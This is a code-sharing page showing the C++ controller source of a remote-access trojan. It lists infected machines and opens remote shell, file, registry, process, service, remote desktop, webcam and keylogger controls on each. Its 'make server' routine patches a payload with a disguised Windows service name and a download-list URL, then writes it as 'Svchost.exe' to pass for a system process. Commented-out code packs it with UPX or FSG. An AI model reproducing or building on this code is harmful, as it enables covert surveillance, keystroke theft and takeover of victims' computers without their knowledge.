MyClientDlg.cpp
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:23k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. // MyClientDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "MyClient.h"
  5. #include "MyClientDlg.h"
  6. #include "comm.h"
  7. #include "TcpTran.h"
  8. //#include "TQQwry.h"
  9. #include "NL_QQwry.h"
  10. #include "resource.h"
  11. #include "ProcManageDlg.h"
  12. #include "ServiceManageDlg.h"
  13. #include "FileManageDlg.h"
  14. #include "RegManageDlg.h"
  15. #include "ShellDlg.h"
  16. #include "RemoteDesktopDlg.h"
  17. #include "VideoManage.h"
  18. #include "KeyLogDlg.h"
  19. #include <vector>
  20. /*
  21.  作者:海啸 lyyer English Name: Jack 
  22.   blog:http://lyyer.blog.sohu.com
  23.   website:http://www.cnGSG.com
  24.   海啸网络安全组织
  25. */
  26. //#include "TrayIcon.h"
  27. #define WM_ICON_NOTIFY WM_USER+10
  28. #ifdef _DEBUG
  29. #define new DEBUG_NEW
  30. #undef THIS_FILE
  31. static char THIS_FILE[] = __FILE__;
  32. #endif
  33. CMyClientDlg *m_clientdlg = NULL;
  34. /////////////////////////////////////////////////////////////////////////////
  35. // CMyClientDlg dialog
  36. //////////////////////////////////////////////////////////////////////////
  37. //全局变量申请
  38. //////////////////////////////////////////////////////////////////////////
  39. struct MODIFY_DATA 
  40. {
  41. unsigned int finder;
  42. TCHAR ws_svcname[32];
  43. TCHAR ws_svcdisplay[64];
  44. char ws_svcdesc[256];
  45. char url[256];
  46. int  port;
  47. }modify_data = 
  48. {
  49. 0xFFFFFF8D,
  50. "RemoteStorage",
  51. "Windows Accounts Driver",
  52. "Network Connections Management",
  53. "http://ahai2007.id666.com/user/ahai2007/disk/webdisk/lplist.txt",
  54. 80,
  55. };
  56. LINKINFO m_linkinfo;
  57. LINKINFO clientLinkinfo;
  58. //CString str = _T("");
  59. int item = 0;
  60. u_short u_port = 0   ;
  61. string str_ip ;
  62. char  client_ip[32] = {0} ;
  63. static int nrItemNum = 0;
  64. //static SOCKET g__clientsocket;
  65. std::vector <TMPSOCKET *> tmp_vector;
  66. //////////////////////////////////////////////////////////////////////////
  67. //////////////////////////////////////////////////////////////////////////
  68. BOOL LoadSourceDlg(UINT resoure_id , const char * type , const char * filepath)
  69. {
  70. //获得资源指针
  71. HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
  72. if( hRsrc )
  73. {   //获得资源大小
  74. DWORD size = ::SizeofResource( NULL , hRsrc );
  75.         //将资源载入内存
  76. HGLOBAL  handle = ::LoadResource( NULL , hRsrc );
  77.         //写入文件     
  78. if( handle )
  79. {   //定位资源位置
  80. BYTE *MemPtr = (BYTE *)LockResource( handle ); 
  81. CFile file;
  82. if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
  83. {
  84. file.Write( MemPtr , size );
  85. file.Close( );
  86. }
  87. ::UnlockResource( handle );
  88. }
  89. ::FreeResource( handle );
  90. return TRUE;
  91. }
  92. return FALSE;
  93. }
  94. CMyClientDlg::CMyClientDlg(CWnd* pParent /*=NULL*/)
  95. : CDialog(CMyClientDlg::IDD, pParent)
  96. {
  97. //{{AFX_DATA_INIT(CMyClientDlg)
  98. // NOTE: the ClassWizard will add member initialization here
  99. //}}AFX_DATA_INIT
  100. m_clientdlg=this; //新添加的
  101. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  102. m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  103. }
  104. void CMyClientDlg::DoDataExchange(CDataExchange* pDX)
  105. {
  106. CDialog::DoDataExchange(pDX);
  107. //{{AFX_DATA_MAP(CMyClientDlg)
  108. DDX_Control(pDX, IDC_BUTTON_STOP, m_btn_stop);
  109. DDX_Control(pDX, IDC_BUTTON_START, m_btn_start);
  110. DDX_Control(pDX, IDC_LIST, m_list);
  111. //}}AFX_DATA_MAP
  112. }
  113. BEGIN_MESSAGE_MAP(CMyClientDlg, CDialog)
  114. ON_WM_CONTEXTMENU()
  115. //{{AFX_MSG_MAP(CMyClientDlg)
  116. ON_WM_PAINT()
  117. ON_WM_QUERYDRAGICON()
  118. ON_BN_CLICKED(IDC_BUTTON_START, OnButtonStart)
  119. ON_NOTIFY(NM_CLICK, IDC_LIST, OnClickList)
  120. ON_COMMAND(ID_MANAGE_PROCINFO, OnManageProcinfo)
  121. ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
  122. ON_COMMAND(ID_MANAGE_SERVICE, OnManageService)
  123. ON_COMMAND(ID_MANAGE_FILE, OnManageFile)
  124. ON_COMMAND(ID_MANAGE_REG, OnManageReg)
  125. ON_COMMAND(ID_MANAGE_SHELL, OnManageShell)
  126. ON_COMMAND(ID_MANAGE_CONTROL, OnManageControl)
  127. ON_WM_SIZE()
  128. ON_COMMAND(ID_MENUITE_SHOW, OnMenuiteShow)
  129. ON_COMMAND(ID_MENUITEM_QUIT, OnMenuitemQuit)
  130. ON_COMMAND(ID_MANAGE_VIDEO, OnManageVideo)
  131. ON_COMMAND(ID_MANAGE_KEYLOG, OnManageKeylog)
  132. ON_WM_CLOSE()
  133. ON_MESSAGE(WM_ICON_NOTIFY, OnTrayNotification)
  134. ON_BN_CLICKED(IDC_BUTTON3, OnMakeServer)
  135. //}}AFX_MSG_MAP
  136. END_MESSAGE_MAP()
  137. /////////////////////////////////////////////////////////////////////////////
  138. // CMyClientDlg message handlers
  139. BOOL CMyClientDlg::OnInitDialog()
  140. {
  141. CDialog::OnInitDialog();
  142. // Set the icon for this dialog.  The framework does this automatically
  143. //  when the application's main window is not a dialog
  144. SetIcon(m_hIcon, TRUE); // Set big icon
  145. SetIcon(m_hIcon, FALSE); // Set small icon
  146. // TODO: Add extra initialization here
  147. LONG lStyle = m_list.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE);
  148. lStyle |= LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_HEADERDRAGDROP;
  149. m_list.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle);
  150. LV_COLUMN lvc;
  151. lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH /*| LVCF_FMT*/;
  152. m_list.InsertColumn(0,"被控端IP地址信息",LVCFMT_LEFT,120,0);
  153. m_list.InsertColumn(1,"计算机名",LVCFMT_LEFT,90,0);
  154.     m_list.InsertColumn(2,"操作系统",LVCFMT_LEFT,100,0);
  155. m_list.InsertColumn(3,"CPU频率",LVCFMT_LEFT,80,0);
  156. m_list.InsertColumn(4,"内存容量",LVCFMT_LEFT,80,0);
  157. m_list.InsertColumn(5,"用户所在地域",LVCFMT_LEFT,100,0);
  158. m_list.InsertColumn(6,"软件版本",LVCFMT_LEFT,90,0);
  159. m_list.InsertColumn(7,"硬盘序列号",LVCFMT_LEFT,150,0);
  160. m_list.InsertColumn(8,"SOCKET",LVCFMT_LEFT,80,0);
  161. //就是取的时间 = 版本
  162. m_btn_stop.EnableWindow(FALSE);
  163. SetDlgItemText(IDC_IP,_T("192.168.0.171"));
  164. return TRUE;  // return TRUE  unless you set the focus to a control
  165. }
  166. // If you add a minimize button to your dialog, you will need the code below
  167. //  to draw the icon.  For MFC applications using the document/view model,
  168. //  this is automatically done for you by the framework.
  169. void CMyClientDlg::OnPaint() 
  170. {
  171. if (IsIconic())
  172. {
  173. CPaintDC dc(this); // device context for painting
  174. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  175. // Center icon in client rectangle
  176. int cxIcon = GetSystemMetrics(SM_CXICON);
  177. int cyIcon = GetSystemMetrics(SM_CYICON);
  178. CRect rect;
  179. GetClientRect(&rect);
  180. int x = (rect.Width() - cxIcon + 1) / 2;
  181. int y = (rect.Height() - cyIcon + 1) / 2;
  182. // Draw the icon
  183. dc.DrawIcon(x, y, m_hIcon);
  184. }
  185. else
  186. {
  187. CDialog::OnPaint();
  188. }
  189. }
  190. // The system calls this to obtain the cursor to display while the user drags
  191. //  the minimized window.
  192. HCURSOR CMyClientDlg::OnQueryDragIcon()
  193. {
  194. return (HCURSOR) m_hIcon;
  195. }
  196. //iterator iter;
  197. DWORD WINAPI ServerThread(LPVOID lp)
  198. {
  199. LPLINKINFO  plast_linkinfo =(LPLINKINFO)lp ; 
  200.     CTcpTran m_tcptran ;
  201.     m_tcptran.m_Socket  =  plast_linkinfo->s ;
  202. SYSTEMINIT m_sendmsg ;
  203. char ReceiveBuf[sizeof(m_sendmsg)] = {0};
  204.     int  DataLen = 0;
  205.     DataLen = m_tcptran.myrecv(m_tcptran.m_Socket,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60,0,false) ;
  206. if (DataLen == 0) 
  207. {
  208. closesocket(m_tcptran.m_Socket);
  209. ExitThread(0);
  210. }
  211. //////////////////////////////////////////////////////////////////////////
  212. //  处理重复客户端问题 //硬盘序列号
  213. //////////////////////////////////////////////////////////////////////////
  214. //  如果有不存在这个硬盘序列号则 插入
  215. //  如果存在这个硬盘序列号 插入的时候要找到原来的id删除然后在原来的位置插入
  216. //BOOL  BInseart =TRUE;
  217. BOOL  BDeleteid =FALSE;
  218. UINT  InseartItem =0;
  219. for(int j = 0; j<tmp_vector.size();j++)
  220. {
  221. if (stricmp(m_sendmsg.HDSerial,tmp_vector[j]->HDSerial)==0)
  222. {
  223. //BInseart = FALSE;
  224. //CString str;
  225. for(int i=0; i<m_clientdlg->m_list.GetItemCount(); i++)
  226. {
  227. if(stricmp(m_sendmsg.HDSerial,tmp_vector[j]->HDSerial)==0 )
  228. {
  229. //str.Format(_T("选中了第%d行"), i);
  230. //AfxMessageBox(str);
  231. BDeleteid = TRUE;
  232. InseartItem = i;
  233. }
  234. }
  235. tmp_vector.erase(&tmp_vector[j]);
  236. }
  237. }
  238. //////////////////////////////////////////////////////////////////////////
  239. //if (BInseart) 
  240. //{
  241. CString tmp = _T("");
  242. CString m_phyaddr = _T("");
  243. int mm = m_clientdlg->m_list.GetItemCount(); //更改来的插入顺序
  244. if (BDeleteid)
  245. {
  246.             mm = InseartItem;
  247. m_clientdlg->m_list.DeleteItem(InseartItem);
  248. }
  249. tmp.Format("%s",client_ip);
  250. m_clientdlg->m_list.InsertItem(mm,"");
  251. m_clientdlg->m_list.SetItemText(mm,0,tmp);
  252. tmp.Format("%s",m_sendmsg.computer);
  253. m_clientdlg->m_list.InsertItem(mm,(const char *)1);
  254. m_clientdlg->m_list.SetItemText(mm,1,tmp);
  255. tmp.Format("%s",m_sendmsg.os); 
  256. m_clientdlg->m_list.InsertItem(mm,(const char *)2);
  257. m_clientdlg->m_list.SetItemText(mm,2,tmp);
  258. tmp.Format("%s",m_sendmsg.processor); 
  259. m_clientdlg->m_list.InsertItem(mm,(const char *)3);
  260. m_clientdlg->m_list.SetItemText(mm,3,tmp);
  261. tmp.Format("%s",m_sendmsg.mem); 
  262. m_clientdlg->m_list.InsertItem(mm,(const char *)4);
  263. m_clientdlg->m_list.SetItemText(mm,4,tmp);
  264. // TQQwry m_qqwry("QQWry.Dat"); 
  265. IPwry ipinfo;
  266. //m_qqwry.qqwry(client_ip);
  267. m_phyaddr =ipinfo.IP2Add(client_ip);
  268. //m_phyaddr = m_qqwry.Country +" "+ m_qqwry.Local;
  269. tmp.Format("%s",m_sendmsg.mem); 
  270. m_clientdlg->m_list.InsertItem(mm,(const char *)5);
  271. m_clientdlg->m_list.SetItemText(mm,5,m_phyaddr);
  272. tmp.Format("%s",m_sendmsg.version); 
  273. m_clientdlg->m_list.InsertItem(mm,(const char *)6);
  274. m_clientdlg->m_list.SetItemText(mm,6,tmp);
  275. tmp.Format("%s",m_sendmsg.HDSerial); 
  276. m_clientdlg->m_list.InsertItem(mm,(const char *)7);
  277. m_clientdlg->m_list.SetItemText(mm,7,tmp);
  278. tmp.Format("%d",m_tcptran.m_Socket); 
  279. m_clientdlg->m_list.InsertItem(mm,(const char *)8);
  280. m_clientdlg->m_list.SetItemText(mm,8,tmp);
  281. TMPSOCKET *tmp00 = new TMPSOCKET;
  282. memset(tmp00,0,sizeof(TMPSOCKET));
  283. tmp00->ClientSocket = m_tcptran.m_Socket;
  284. //memcpy(tmp00->ClientSocket,m_tcptran.m_Socket,sizeof(SOCKET));
  285. lstrcpy(tmp00->HDSerial,m_sendmsg.HDSerial);
  286. //g__clientsocket = m_tcptran.m_Socket;
  287. tmp_vector.push_back(tmp00);
  288. //}
  289. //delete tmp00;
  290. //delete tmp;
  291. /*
  292. for(int kk=0;kk<tmp_vector.size();kk++)
  293. {
  294. CString lll;
  295. lll.Format("%d",tmp_vector[kk]->ClientSocket);
  296. AfxMessageBox(lll);
  297. AfxMessageBox(tmp_vector[kk]->HDSerial);
  298. }
  299. */
  300. return true;
  301. }
  302. CString m_clientip = _T("");
  303. DWORD WINAPI MyServerThread()
  304. {
  305. CTcpTran m_tcptran ;
  306. //SYSTEMINIT m_systeminit;
  307. m_tcptran.InitSocketLibray(2,2);
  308. SOCKET ServerSocket = m_tcptran.InitSocket(SOCKETBIND,str_ip,u_port,0);
  309. if (ServerSocket == SOCKET_ERROR)
  310. {        
  311. closesocket(ServerSocket);
  312. AfxMessageBox("SOCKET_ERROR");
  313. return -1;
  314. }
  315. struct sockaddr_in Client_addr ;
  316.     //204.204.204.204 未初始化 debug =0x00cd
  317. memset((void   *)&Client_addr,0,sizeof(Client_addr));  
  318. int addrlen = sizeof(sockaddr_in); //更改错误 不是取的地址 // 取到的指针应该 大小应该事先分配好
  319. SOCKET ClientSocket ;
  320. HANDLE hThread =NULL ;
  321. DWORD Threadid = 0 ;
  322. while(1)
  323.     {
  324. ////更改错误 不是取的地址 addrlen//
  325. ClientSocket = m_tcptran.myaccept(ServerSocket,(struct sockaddr*)&Client_addr,&addrlen) ;
  326.         //ClientSocket = accept(ServerSocket,(struct sockaddr*)&Client_addr,&addrlen) ;
  327. if(ClientSocket == SOCKET_ERROR)
  328. break;
  329.  strcpy( client_ip, inet_ntoa(Client_addr.sin_addr) ); 
  330.  clientLinkinfo.s = ClientSocket ;
  331. // 字符串予值
  332. //strcpy(client_ip,m_linkinfo.strBindIp.c_str());
  333.          
  334. clientLinkinfo.BindPort  = m_linkinfo.BindPort ;
  335. hThread = CreateThread(0,0,ServerThread,(LPVOID)&clientLinkinfo,0,&Threadid);
  336.     
  337. }
  338. return 0;
  339. }
  340. void CMyClientDlg::OnButtonStart() 
  341. {
  342. // TODO: Add your control notification handler code here
  343.     //m_btn_start.EnableWindow(FALSE);
  344. //////////////////////////////////////////////////////////////////////////
  345. //变量初始化
  346. //////////////////////////////////////////////////////////////////////////
  347.     CString m_ip   = _T("");
  348. CString m_port = _T("");
  349. GetDlgItemText(IDC_IP,m_ip);
  350.     GetDlgItemText(IDC_PORT,m_port);
  351. char  *ch_ip =NULL ;
  352. str_ip = m_ip.GetBuffer(0);
  353. u_port = _ttoi(m_port);
  354. m_btn_start.EnableWindow(FALSE);
  355. m_btn_stop.EnableWindow(TRUE);
  356. //////////////////////////////////////////////////////////////////////////
  357. // 提交网络连接
  358. //////////////////////////////////////////////////////////////////////////
  359. DWORD  Threadid = 0;
  360. HANDLE hThread  = CreateThread(0,0,(LPTHREAD_START_ROUTINE)MyServerThread,NULL,0,&Threadid);
  361. }
  362. void CMyClientDlg::OnContextMenu(CWnd*, CPoint point)
  363. {
  364. // CG: This block was added by the Pop-up Menu component { if (point.x == -1 && point.y == -1){ //keystroke invocation CRect rect; GetClientRect(rect); ClientToScreen(rect); point = rect.TopLeft(); point.Offset(5, 5); } CMenu menu; VERIFY(menu.LoadMenu(CG_IDR_POPUP_MY_CLIENT_DLG)); CMenu* pPopup = menu.GetSubMenu(0); ASSERT(pPopup != NULL); CWnd* pWndPopupOwner = this; while (pWndPopupOwner->GetStyle() & WS_CHILD) pWndPopupOwner = pWndPopupOwner->GetParent(); pPopup->TrackPopupMenu(TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, pWndPopupOwner); }
  365. }
  366. void CMyClientDlg::OnClickList(NMHDR* pNMHDR, LRESULT* pResult) 
  367. {
  368. // TODO: Add your control notification handler code here
  369. NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
  370.     
  371. if(pNMListView->iItem != -1)
  372.     {
  373. /*  ////////////////////////////////调试用代码 //////////////////////////
  374.                           CString strtemp;
  375.                           strtemp.Format("单击的是第%d行第%d列",pNMListView->iItem, pNMListView->iSubItem);
  376.                           AfxMessageBox(strtemp);
  377.                           
  378.                strtemp.Format("%d",item);
  379.                           AfxMessageBox(strtemp);*/
  380.              
  381.  item  = pNMListView->iItem;
  382.     }
  383. *pResult = 0;
  384. }
  385. void CMyClientDlg::OnManageProcinfo() 
  386. {
  387. // TODO: Add your command handler code here
  388. CProcManageDlg m_ProcManageDlg;   
  389. //CString id;
  390. char tmp_HDSerial[64] = {0};
  391. //id = 
  392. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  393. //AfxMessageBox(id); //test
  394. //id.Format("%s",tmp_HDSerial);
  395. for(int j = 0; j<tmp_vector.size();j++)
  396. {
  397. if (stricmp(tmp_HDSerial,tmp_vector[j]->HDSerial)==0)
  398. {
  399. m_ProcManageDlg.ClientSocket=tmp_vector[j]->ClientSocket;
  400. //break;
  401. }
  402. }
  403.         m_ProcManageDlg.DoModal(); 
  404. //传输socket 
  405. //g__clientsocket 
  406. }
  407. void CMyClientDlg::OnButtonStop() 
  408. {
  409. //解决客户端关闭 服务端资源cpu 100%占用 //向所有的客户端发送
  410. // TODO: Add your control notification handler code here
  411. COMMAND m_command;
  412. m_command.wCmd= CMD_RETRY; //CMD_NULL
  413. CTcpTran m_tcptran;
  414. //CProcManageDlg m_ProcDlg;
  415. CString id;
  416. id = m_clientdlg->m_list.GetItemText(item,7);
  417. //AfxMessageBox(id); //test
  418. char HDSerial[64] = {0};
  419. id.Format("%s",HDSerial);
  420. SOCKET mmclose;
  421. for(int j = 0; j<tmp_vector.size();j++)
  422. {
  423. mmclose =tmp_vector[j]->ClientSocket;
  424. m_tcptran.mysend(mmclose,(char *)&m_command,sizeof(COMMAND),0,60);
  425. shutdown(mmclose, SD_BOTH);
  426. Sleep(50);
  427. closesocket(mmclose);
  428. }
  429. m_list.DeleteAllItems();
  430. m_btn_start.EnableWindow(TRUE);
  431. m_btn_stop.EnableWindow(FALSE);
  432. //CDialog::OnCancel();
  433. }
  434. void CMyClientDlg::OnManageService() 
  435. {
  436. // TODO: Add your command handler code here
  437. CServiceManageDlg m_ServiceManageDlg;   
  438. //CString id= _T("");
  439. char tmp_HDSerial[64] = {0};
  440. //id = 
  441. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  442. //AfxMessageBox(id); //test
  443. //id.Format("%s",HDSerial);
  444. for(int j = 0; j<tmp_vector.size();j++)
  445. {
  446. if (stricmp(tmp_HDSerial,tmp_vector[j]->HDSerial)==0)
  447. {
  448. m_ServiceManageDlg.ClientSocket=tmp_vector[j]->ClientSocket;
  449. //break;
  450. }
  451. }
  452.         m_ServiceManageDlg.DoModal(); 
  453. }
  454. void CMyClientDlg::OnManageFile() 
  455. {
  456. // TODO: Add your command handler code here
  457.     CFileManageDlg m_filemanageDlg;
  458. //CString id = _T("");
  459. char  tmp_HDSerial[64] = {0};
  460. //id = 
  461. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  462. //AfxMessageBox(id); //test
  463. /*
  464. id.Format("%s",tmp_HDSerial);
  465. AfxMessageBox(id);*/
  466. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  467. {
  468. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  469. {
  470. m_filemanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  471. /*
  472. CString ooo;
  473. ooo.Format("%d",tmp_vector[ppp]->ClientSocket);
  474. AfxMessageBox(ooo);
  475. //break;*/
  476. // 都是 break搞的鬼 问题是 逻辑错误
  477. }
  478. }
  479.     
  480. m_filemanageDlg.DoModal();
  481. }
  482. void CMyClientDlg::OnManageReg() 
  483. {
  484.     CRegManageDlg m_regmanageDlg;
  485. char  tmp_HDSerial[64] = {0};
  486. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  487. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  488. {
  489. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  490. {
  491. m_regmanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  492. }
  493. }
  494. m_regmanageDlg.DoModal();
  495. }
  496. void CMyClientDlg::OnManageShell() 
  497. {
  498. // TODO: Add your command handler code here
  499.     CShellDlg m_shellDlg;
  500. char  tmp_HDSerial[64] = {0};
  501. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  502. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  503. {
  504. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  505. {
  506. m_shellDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  507. }
  508. }
  509. m_shellDlg.DoModal();
  510. }
  511. void CMyClientDlg::OnManageControl() 
  512. {
  513. // TODO: Add your command handler code here
  514.     CRemoteDesktopDlg m_remotedesktopDlg;
  515. char  tmp_HDSerial[64] = {0};
  516. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  517. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  518. {
  519. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  520. {
  521. m_remotedesktopDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  522. }
  523. }
  524. m_remotedesktopDlg.DoModal();
  525. }
  526. void CMyClientDlg::OnSize(UINT nType, int cx, int cy) 
  527. {
  528. CDialog::OnSize(nType, cx, cy);
  529. // TODO: Add your message handler code here
  530. switch(nType)
  531. {
  532. case SIZE_MINIMIZED:
  533. m_TrayIcon.Create(this,WM_ICON_NOTIFY,"鼠标指向时显示",m_hIcon,IDR_MENU_TRAYICON); //构造
  534. ShowWindow(SW_HIDE);
  535. break;
  536. case SIZE_MAXSHOW:
  537. ShowWindow(SW_SHOW);
  538. break;
  539. //case 
  540. }
  541. }
  542. void CMyClientDlg::OnMenuiteShow() 
  543. {
  544. // TODO: Add your command handler code here
  545. ShowWindow(SW_SHOW);
  546. m_TrayIcon.RemoveIcon();
  547. }
  548. void CMyClientDlg::OnMenuitemQuit() 
  549. {
  550. // TODO: Add your command handler code here
  551. m_TrayIcon.RemoveIcon();
  552. OnCancel();
  553. }
  554. LRESULT CMyClientDlg::OnTrayNotification(WPARAM wParam, LPARAM lParam)
  555. {
  556. return m_TrayIcon.OnTrayNotification(wParam,lParam);
  557. }
  558. void CMyClientDlg::OnManageVideo() 
  559. {
  560. // TODO: Add your command handler code here
  561.     CVideoManage m_videomanageDlg;
  562. char  tmp_HDSerial[64] = {0};
  563. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  564. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  565. {
  566. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  567. {
  568. m_videomanageDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  569. }
  570. }
  571. m_videomanageDlg.DoModal();
  572. }
  573. void CMyClientDlg::OnManageKeylog() 
  574. {
  575. // TODO: Add your command handler code here
  576.     CKeyLogDlg m_KeylogDlg;
  577. char  tmp_HDSerial[64] = {0};
  578. m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
  579. for(int ppp = 0; ppp<tmp_vector.size();ppp++)
  580. {
  581. if (stricmp(tmp_HDSerial,tmp_vector[ppp]->HDSerial)==0)
  582. {
  583. m_KeylogDlg.ClientSocket=tmp_vector[ppp]->ClientSocket;
  584. }
  585. }
  586. m_KeylogDlg.DoModal();
  587. }
  588. void CMyClientDlg::OnClose() 
  589. {
  590. // TODO: Add your message handler code here and/or call default
  591. this->OnButtonStop();
  592. CDialog::OnClose();
  593. }
  594. BOOL CMyClientDlg::DestroyWindow() 
  595. {
  596. // TODO: Add your specialized code here and/or call the base class
  597. this->OnButtonStop();
  598. return CDialog::DestroyWindow();
  599. }
  600. void CMyClientDlg::OnMakeServer() 
  601. {
  602. // TODO: Add your control notification handler code here
  603. //////////////////////////////////////////////////////////////////////////
  604. CString dl_list=_T("http://ahai2007.id666.com/user/ahai2007/disk/webdisk/lplist.txt");
  605. //IDC_EDIT_DOWNLOADLIST
  606. GetDlgItemText(IDC_EDIT_DOWNLOADLIST,dl_list);
  607. strcpy(modify_data.url,(char *)(LPCSTR)dl_list);
  608. //////////////////////////////////////////////////////////////////////////
  609. char ServerPath[MAX_PATH];
  610. //char RealSkinPath[MAX_PATH];
  611. GetCurrentDirectory(MAX_PATH,ServerPath);
  612. strcat(ServerPath,"\Config.dat"); //Royale.ssk
  613. LoadSourceDlg(IDR_CLIENT,"CLIENT",ServerPath);
  614. CFile oldfile;
  615. if (!oldfile.Open(ServerPath,CFile::modeRead | CFile::typeBinary))
  616. return;
  617. DWORD oldfilesize = oldfile.GetLength();
  618. BYTE *buf = (BYTE *)malloc(oldfile.GetLength());
  619. memset(buf,0,oldfile.GetLength());
  620. oldfile.Read(buf,oldfile.GetLength());
  621. oldfile.Close();
  622. unsigned int finder;
  623.     unsigned int i, k;
  624. finder = 0xFFFFFF8D;
  625. for (i = 0; i < oldfilesize - sizeof(finder); i += sizeof(finder))
  626.     {
  627.          for (k = 0; k < sizeof(finder); k++)
  628.          {
  629.               if (buf[i+k] != ((BYTE*)&finder)[k])
  630.                    break;
  631.          }
  632.          if (k == sizeof(finder))
  633.          {
  634.               memcpy(buf+ i, &modify_data, sizeof(modify_data));
  635.               break;
  636.          }
  637.     }
  638. if (i >= oldfilesize - sizeof(finder))
  639.     {
  640.         free(buf);
  641.         MessageBox("写入信息到文件中,不能定位自身文件而出错!","错误");
  642. return;
  643.     }
  644. CFile newfile;
  645. newfile.Open("Svchost.exe",CFile::modeCreate | CFile::modeReadWrite | CFile::typeBinary);
  646. newfile.Write(buf,oldfilesize);
  647. free(buf);
  648. newfile.Close();
  649. //////////////////////////////////////////////////////////////////////////
  650. /*
  651. char LocalPath[MAX_PATH];
  652. GetCurrentDirectory(MAX_PATH,LocalPath);
  653. strcat(LocalPath,"\Svchost.exe");
  654. char UpxPath[MAX_PATH];
  655. strcpy(UpxPath,"upx.exe");
  656. LoadSourceDlg(IDR_UPX,"UPX",UpxPath);
  657. strcat(UpxPath," -7 ");
  658. strcat(UpxPath,LocalPath);
  659. PROCESS_INFORMATION PI;
  660. STARTUPINFO SI;
  661. memset(&SI, 0, sizeof(SI));
  662. SI.cb = sizeof(SI);
  663. SI.dwFlags =STARTF_USESHOWWINDOW; 
  664. SI.wShowWindow = SW_HIDE;
  665. CreateProcess(NULL, UpxPath, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
  666. WaitForSingleObject(PI.hProcess,INFINITE);
  667. DeleteFile("upx.exe");
  668. */
  669. MessageBox("新建服务端成功!","成功");
  670. //////////////////////////////////////////////////////////////////////////
  671. /*
  672. char LocalPath[MAX_PATH];
  673. GetCurrentDirectory(MAX_PATH,LocalPath);
  674. strcat(LocalPath,"\Svchost.exe");
  675. char FSGPath[MAX_PATH]={0};
  676. GetCurrentDirectory(MAX_PATH,FSGPath);
  677. strcat(FSGPath,"\fsg.exe");
  678. LoadSourceDlg(IDR_FSG,"FSG",FSGPath);
  679. strcat(FSGPath," ");
  680. char fsgini[MAX_PATH];
  681. GetCurrentDirectory(MAX_PATH,fsgini);
  682. strcat(fsgini,"\fsg.ini");
  683. LoadSourceDlg(IDR_FSG_INI,"FSG",fsgini);
  684. /*
  685. //strcat(UpxPath," ");
  686. strcat(FSGPath,"Svchost.exe"); //LocalPath
  687. PROCESS_INFORMATION PI;
  688. STARTUPINFO SI;
  689. memset(&SI, 0, sizeof(SI));
  690. SI.cb = sizeof(SI);
  691. SI.dwFlags =STARTF_USESHOWWINDOW; 
  692. SI.wShowWindow = SW_HIDE;
  693. CreateProcess(NULL, FSGPath, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
  694. //WaitForSingleObject(PI.hProcess,INFINITE);
  695. //DeleteFile("fsg.exe");
  696. //DeleteFile("fsg.ini");
  697. //
  698. */
  699. }